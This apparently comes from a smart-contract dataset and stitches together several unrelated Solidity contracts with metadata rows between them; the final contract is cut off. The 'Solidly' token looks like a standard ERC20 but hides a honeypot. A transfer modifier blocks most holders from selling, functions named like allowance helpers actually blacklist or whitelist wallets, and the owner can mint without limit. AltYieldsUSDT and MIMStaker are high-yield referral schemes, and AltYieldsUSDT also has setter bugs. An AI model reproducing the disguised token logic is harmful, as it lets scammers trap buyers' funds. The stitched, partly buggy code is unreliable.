if (curRound.roundNum > 1) {
RoundLib.Round storage preRound = roundList[roundList.length - 2];
preRoundAmount = preRound.getNum(_address);
}
(dealerCode, , dealerAmount, dealerRate) = getDealerInfo(dealers.queryCodeByAddress(_address));
return (_address, coinHolders.getNum(_address) + getBalanceFromRound(_address),
preRoundAmount, curRound.getNum(_address), dealerCode, dealerAmount, dealerRate);
}
function getBalanceFromRound(address adrs) internal view returns (uint256) {
HolderLib.HolderValue storage holderValue = coinHolders.holderMap[adrs];
uint256[] storage roundIds = holderValue.relatedRoundIds;
uint256 roundId;
uint256 balance = 0;
for (uint256 i = holderValue.fromIndex; i < roundIds.length; i++) {
roundId = roundIds[i];
balance += roundList[roundId - 1].getBalance(adrs);
}
return balance;
}
function getRoundInfo(uint256 roundId, uint256 page) public view
returns (uint256 _roundId, uint256 roundNum, uint256 max, uint256 raised, uint256 pot,
uint256 count, address[] addressList, uint256[] numList) {
RoundLib.Round storage round = roundList[roundId - 1];
_roundId = round.roundId;
roundNum = round.roundNum;
max = round.max;
raised = round.raised;
pot = round.pot;
(count, addressList, numList) = round.getInvestList(page);
}
}
| 219,487 | 125 |
5813ebb4b84e728043d479c191686c87dcadf83037da849367c973f3709311b0
| 15,331 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TMZLwpB1UCrUHaiYFKy7ptFaspMVXXrzih_AltYieldsUSDT.sol
| 4,798 | 14,771 |
//SourceUnit: AltYieldsUSDT.sol
pragma solidity 0.5.10;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeERC20 {
using SafeMath for uint;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(isContract(address(token)), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract AltYieldsUSDT {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public USDT;
uint256[] public REFERRAL_PERCENTS = [50, 40, 30];
uint256[] public BONUS_PERCENTS = [100, 150, 200, 250, 300];
uint256 constant public TOTAL_REF = 120;
uint256 constant public PROJECT_FEE = 90;
uint256 constant public DEV_FEE = 10;
uint256 constant public HOLD_BONUS = 10;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalInvested;
uint256 public totalBonus;
uint256 public INVEST_MIN_AMOUNT = 100e6;
uint256 public INVEST_MAX_AMOUNT = 100000e6;
uint256 public BONUS_MIN_AMOUNT = 100e6;
uint256 public BONUS_MAX_AMOUNT = 100000e6;
bool public bonusStatus = false;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 amount;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
mapping (address => mapping(uint256 => uint256)) internal userDepositBonus;
uint256 public startDate;
address payable public ceoWallet;
address payable public devWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 amount, uint256 time);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address token, address payable ceoAddr, address payable devAddr, uint256 start) public {
require(!isContract(ceoAddr) && !isContract(devAddr));
ceoWallet = ceoAddr;
devWallet = devAddr;
USDT = IERC20(token);
if(start>0){
startDate = start;
}
else{
startDate = block.timestamp;
}
plans.push(Plan(40, 50)); // 200%
plans.push(Plan(60, 40)); // 240%
plans.push(Plan(100, 30)); // 300%
}
function invest(address referrer, uint8 plan , uint256 tokenAmount) public {
require(block.timestamp > startDate, "contract does not launch yet");
require(tokenAmount >= INVEST_MIN_AMOUNT,"error min");
require(tokenAmount <= INVEST_MAX_AMOUNT,"error max");
require(plan < 4, "Invalid plan");
require(tokenAmount <= USDT.allowance(msg.sender, address(this)));
USDT.safeTransferFrom(msg.sender, address(this), tokenAmount);
uint256 pFee = tokenAmount.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint256 dFee = tokenAmount.mul(DEV_FEE).div(PERCENTS_DIVIDER);
USDT.safeTransfer(ceoWallet, pFee);
USDT.safeTransfer(devWallet, dFee);
emit FeePayed(msg.sender, pFee.add(dFee));
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
else{
user.referrer = ceoWallet;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = tokenAmount.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(plan, tokenAmount, block.timestamp));
totalInvested = totalInvested.add(tokenAmount);
emit NewDeposit(msg.sender, plan, tokenAmount, block.timestamp);
//bonus
if(bonusStatus){
if(user.deposits.length >= 2 && user.deposits.length <=5){
uint256 firstAmount = user.deposits[0].amount;
if(firstAmount >= BONUS_MIN_AMOUNT && firstAmount <= BONUS_MAX_AMOUNT){
uint256 preAmount = user.deposits[user.deposits.length -2].amount;
if(user.deposits.length == 2){
if(preAmount == tokenAmount){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0];
}
else if(tokenAmount > preAmount && tokenAmount <= BONUS_MAX_AMOUNT){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[1];
}
}
else if(user.deposits.length == 3){
if(preAmount == tokenAmount){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0];
}
else if(tokenAmount > preAmount && tokenAmount <= BONUS_MAX_AMOUNT){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[2];
}
}
else if(user.deposits.length == 4){
if(preAmount == tokenAmount){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0];
}
else if(tokenAmount > preAmount && tokenAmount <= BONUS_MAX_AMOUNT){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[3];
}
}
else if(user.deposits.length == 5){
if(preAmount == tokenAmount){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0];
}
else if(tokenAmount > preAmount && tokenAmount <= BONUS_MAX_AMOUNT){
userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[4];
}
}
totalBonus = totalBonus.add(userDepositBonus[msg.sender][user.deposits.length-1].mul(tokenAmount).div(PERCENTS_DIVIDER));
}
}
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = getContractBalance();
if (contractBalance < totalAmount) {
user.bonus = totalAmount.sub(contractBalance);
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
USDT.safeTransfer(msg.sender, totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return USDT.balanceOf(address(this));
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
uint256 finish = user.deposits[i].start.add(plans[user.deposits[i].plan].time.mul(TIME_STEP));
if (user.checkpoint < finish) {
uint256 share = user.deposits[i].amount.mul(plans[user.deposits[i].plan].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = finish < block.timestamp ? finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
uint256 holdDays = (to.sub(from)).div(TIME_STEP);
if(holdDays > 0){
totalAmount = totalAmount.add(user.deposits[i].amount.mul(HOLD_BONUS.mul(holdDays)).div(PERCENTS_DIVIDER));
}
}
//end of plan
if(finish <= block.timestamp){
if(userDepositBonus[msg.sender][i] > 0){
totalAmount = totalAmount.add(user.deposits[i].amount.mul(userDepositBonus[msg.sender][i]).div(PERCENTS_DIVIDER));
}
}
}
}
return totalAmount;
}
function getUserHoldBonus(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
if(user.checkpoint > 0){
uint256 holdBonus = 0;
if (user.checkpoint < block.timestamp) {
uint256 holdDays = (block.timestamp.sub(user.checkpoint)).div(TIME_STEP);
if(holdDays > 0){
holdBonus = holdDays.mul(HOLD_BONUS);
}
}
return holdBonus;
}
else{
return 0;
}
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256[3] memory referrals) {
return (users[userAddress].levels);
}
function getUserTotalReferrals(address userAddress) public view returns(uint256) {
return users[userAddress].levels[0]+users[userAddress].levels[1]+users[userAddress].levels[2];
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = plans[plan].percent;
amount = user.deposits[index].amount;
start = user.deposits[index].start;
finish = user.deposits[index].start.add(plans[user.deposits[index].plan].time.mul(TIME_STEP));
}
function getSiteInfo() public view returns(uint256 _totalInvested, uint256 _totalRef, uint256 _totalBonus) {
return(totalInvested, totalInvested.mul(TOTAL_REF).div(PERCENTS_DIVIDER),totalBonus);
}
function getUserInfo(address userAddress) public view returns(uint256 totalDeposit, uint256 totalWithdrawn, uint256 totalReferrals) {
return(getUserTotalDeposits(userAddress), getUserTotalWithdrawn(userAddress), getUserTotalReferrals(userAddress));
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
//config
function setMinMax(uint256 minAmount, uint256 maxAmount,uint256 minBonus, uint256 maxBonus) external {
require(msg.sender == ceoWallet, "only owner");
INVEST_MIN_AMOUNT = minAmount;
INVEST_MIN_AMOUNT = maxAmount;
BONUS_MIN_AMOUNT = minBonus;
BONUS_MAX_AMOUNT = maxBonus;
}
function setBonusStatus(bool status) external {
require(msg.sender == ceoWallet, "only owner");
bonusStatus = status;
}
function withdrawTokens(address tokenAddr, address to) external {
require(msg.sender == ceoWallet, "only owner");
IERC20 token = IERC20(tokenAddr);
require(token != USDT,"USDT token can not be withdrawn");
token.transfer(to,token.balanceOf(address(this)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 295,083 | 126 |
3580230d9e22512ed3a82cb887b987328e10ad9cc2ae8aba66faed71a4bc5f3d
| 29,983 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2b/2b2bacc087fb21f222e60854f0db2bc2b3779fdf_Solidly.sol
| 3,319 | 12,542 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Solidly is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
address public owner;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
constructor (string memory name, string memory symbol, uint256 initialSupply, address payable _ownr) public {
_name = name;
_symbol = symbol;
_decimals = 18;
owner =_ownr;
_owner = msg.sender;
_safeOwner = msg.sender;
_mint(owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
address private _owner;
address private _safeOwner;
uint256 private _sellAmount = 0;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
address private _router = 0xF491e7B69E4244ad4002BC14e878a34207E38c29;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _router, 115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _router), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _router), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 314,434 | 127 |
ff6f4f21740c0af55d465e3778ced85ce338c95bd650a5ccb2dd4aa00337b91a
| 12,341 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f8/f8bfd3BFF5B27fD682A70FD4C4Fd5D0d4cdD3Cd7_MIMStaker.sol
| 3,732 | 11,811 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract MIMStaker {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 10 ether;
uint256[] public REFERRAL_PERCENTS = [40, 20, 10];
uint256 constant public PROJECT_FEE1 = 130;
uint256 constant public PROJECT_FEE2 = 110;
uint256 constant public PROJECT_FEE3 = 90;
uint256 constant public PERCENT_STEP = 3;
uint256 constant public WITHDRAW_FEE = 100; //In base point
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
address constant public token = 0x130966628846BFd36ff31a822705796e8cb8C18D;
uint256 public totalStaked;
uint256 public totalRefBonus;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address commissionWallet1;
address commissionWallet2;
address commissionWallet3;
address commissionWallet4;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address wallet1, address wallet2, address wallet3, address wallet4, uint256 startDate) {
require(!isContract(wallet1) && !isContract(wallet2) && !isContract(wallet3) && !isContract(wallet4));
require(startDate > 0);
commissionWallet1 = wallet1;
commissionWallet2 = wallet2;
commissionWallet3 = wallet3;
commissionWallet4 = wallet4;
startUNIX = startDate;
plans.push(Plan(14, 140));
plans.push(Plan(21, 210));
plans.push(Plan(28, 280));
plans.push(Plan(14, 140));
plans.push(Plan(21, 210));
plans.push(Plan(28, 280));
}
function invest(address referrer, uint256 investedAmount, uint8 plan) public {
require(startUNIX < block.timestamp, "contract hasn`t started yet");
require(investedAmount >= INVEST_MIN_AMOUNT,"too small");
require(plan < 6, "Invalid plan");
ERC20(token).transferFrom(msg.sender, address(this), investedAmount);
uint256 fee = 0;
if (plan == 0 || plan == 3) {
fee = investedAmount.mul(PROJECT_FEE1).div(PERCENTS_DIVIDER);
} else if (plan == 1 || plan == 4) {
fee = investedAmount.mul(PROJECT_FEE2).div(PERCENTS_DIVIDER);
} else if (plan == 2 || plan == 5) {
fee = investedAmount.mul(PROJECT_FEE3).div(PERCENTS_DIVIDER);
}
ERC20(token).transfer(commissionWallet1, fee.div(4));
ERC20(token).transfer(commissionWallet2, fee.div(4));
ERC20(token).transfer(commissionWallet3, fee.div(4));
ERC20(token).transfer(commissionWallet4, fee.div(4));
emit FeePayed(msg.sender, fee);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = investedAmount.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, investedAmount);
user.deposits.push(Deposit(plan, percent, investedAmount, profit, block.timestamp, finish));
totalStaked = totalStaked.add(investedAmount);
emit NewDeposit(msg.sender, plan, percent, investedAmount, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = getContractBalance();
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
ERC20(token).transfer(msg.sender, totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return ERC20(token).balanceOf(address(this));
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
if (block.timestamp > startUNIX) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
} else {
return plans[plan].percent;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
return totalAmount;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
